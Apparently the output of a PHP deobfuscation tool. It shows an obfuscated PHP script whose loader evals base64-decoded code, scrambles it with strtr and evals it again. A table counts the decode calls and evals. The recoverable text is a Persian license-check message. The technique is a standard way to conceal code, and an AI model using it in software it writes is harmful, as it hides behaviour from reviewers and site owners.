CQkJCQkkajIgPSBxTExxVCgiIiwiIiwiIik7DQoJCQkJCSRuMnBqM3BqID0geUU5Sjo6TDIyaigpLmpTUTMoKTsNCgkJCQkJJG4ycGozcGogPSBVakxfTDNrZnFuMygkYUwyUSwkajIsJG4ycGozcGopOw0KCQkJCQkkbjJwajNwaiA9IFFOZSgkbjJwajNwaik7DQoJCQkJCSRhID0gYTJrM3AoJGFTZjMsJ20nKTsNCgkJCQkJYW1MU2ozKCRhLCRuMnBqM3BqLFVqTGYzcCgkbjJwajNwaikpOw0KCQkJCQlhbmYyVTMoJGEpOw0KCQkJCQl9DQoJCQkJCUwzakJMcCB1Ow0KCQkJCTVMM3FZOw0KCQkJCU4zYXFCZmo6DQoJCQkJM253MiAiPE5TViBuZnFVVT1cIlpUWjNVVXFpM1wiPiIuIti02YXYp9ix2Ycg2LPYsduM2KfZhCDYqNix2YbYp9mF2Ycg2YHYsdmFINiz2KfYsiDZgdin2LHYs9uMINmF2LnYqtio2LEg2YbZhduMINio2KfYtNivLjw1TCAvPtis2YfYqiDYr9ix24zYp9mB2Kog2LTZhdin2LHZhyDYs9ix24zYp9mEINio2Kcg2KfbjNmF24zZhCDYtNix2qnYqiDYqNmHINii2K/YsdizIFNwYTJAcXBTVTNMVjNMLm4yUSDbjNinINi02YXYp9ix2YcgWDF1MGJjY2VoYk0g2KrZhdin2LMg2K3Yp9i12YQg2YHYsdmF2KfYptuM2K8gLiIuIjwvTlNWPiI7DQoJCQkJOUtXMkxRejJwakwyZmYzTDo6QTUyQmooIkNxNTJCaiIpOw0KCQkJCVNhKGFTZjNfM0NTVWpVKCRhU2YzKSkNCgkJCQl5V1NmMzo6TjNmM2ozKCRhU2YzKTsNCgkJCX0NCgkJfQ0KCQkzZlUzDQoJCUwzakJMcCBYOw0KCQl9DQoJfQ0KLy89PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NCi8vQWZTTDN4cSBEcWZWcUxOUyBkcE4NCn08P2t3ayBTYSh3M3FOM0xVX1UzcGooKSkzbncyKDVxVTNiaF9OM24yTjMoJ3I4OWtOU0R4TklmVUhvWHBuODF4cVA5azVjaGJHZ3l4NWNDdU44RU1OY2ZZTjhpYjdsT21uSWlNNThSUU5sMnVaekVNTjgxbUY0Sm1uSWlNNWdXVEhjZkJ0Z0NmSHBPYnRvSnVaSURoRjBEd0g4OWs1UW5iRklEaEYwRHdIODlrNVFuajU4UlFObDJYRlBEaEZjeVZuUTlmbjQyQ25JaWluYzFVcWdPaUp4WWVGb2pTR2c3TEgweVZOZ2VZRlM3UUg0WWlOUHlVdjh3WE5JQWJ0VDEwTjBuQm44d21IMFJ3blFPQjVRUlh0MDc0blFmbU56WWk1UTZqblFSbUhnV1hKbEpjbklpaTcwRGhGY0hWNXBPakhRV2pxZ0NlRmZIZm5ROXc1UWRVOWNSQkhQSHd0STd3NXBaam5jUlRxZ0dNSFExQk56dXhxUGtmRjRkVG5JaU1HYzFVNTBKYkp4R2M3NFVwSjgxQkdjQ2tHY1UxeTA5MnFQWkJuMDllNThFQkg4ZnhuOEN3M29YUzVRMUJIS0pNeXhlRXE4ZnhKSTc0blFmbU56RDBHUFppbkl5Vk44UjROOFJZSklSeHFnZXBKSTkySEtBNkdLRDJuUVJRcktOMk5JOW1GUzZWTjBOMHRwRDJuOE51R1B5WXRRZWZOem5pbjA5ZTU4RTF5YzdWNTgxVEZTWm03UVpNTjhSaE56dVlIZzdWblFXWHFnMUJGcFJCSDhSVDU4ZkJIb2pRNWNlWHRQTmZxZ04yTmxrUzVjQ1l5VERYR1B5cEhQTzF5dTFTNThXQnFUbitFZHdPSmROdUdQeVlyejF3clNERW5RZnc1ekRnSFB5eHFnMUJ0NG1WSDhmY3JpPScpKTs/Pg=';$_D=strrev('edoced_46esab');eval($_D('JF9DMD1iYXNlNjRfZGVjb2RlKCRfQzApOyRfQzA9c3RydHIoJF9DMCwnbkEyUndhRW9ONExQQmNaWHkwckZiQ1dwUW1oVVZlcUtKSUR6MTNsajg3dGdrWTk1VEdIdU9zNml2Zk1TeGQnLCdjQW9WaGZVVGRqclh1Mk0wSjNQTzZ4Rm5tdzRzdjVhU0lIQkM5ZUR0R05MV3BrUmJ5WVoxUXE4Z0tsN2l6RScpOyRfUj1zdHJfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfQzApO2V2YWwoJF9SKTskX1I9MDskX0MwPTA7'));?>
Function Calls
strtr | 1 |
strrev | 1 |
str_replace | 1 |
base64_decode | 2 |
Stats
MD5 | 9eeefc0dcb7e6bc86bd6f7c432f9b6e0 |
Eval Count | 2 |
Decode Time | 120 ms |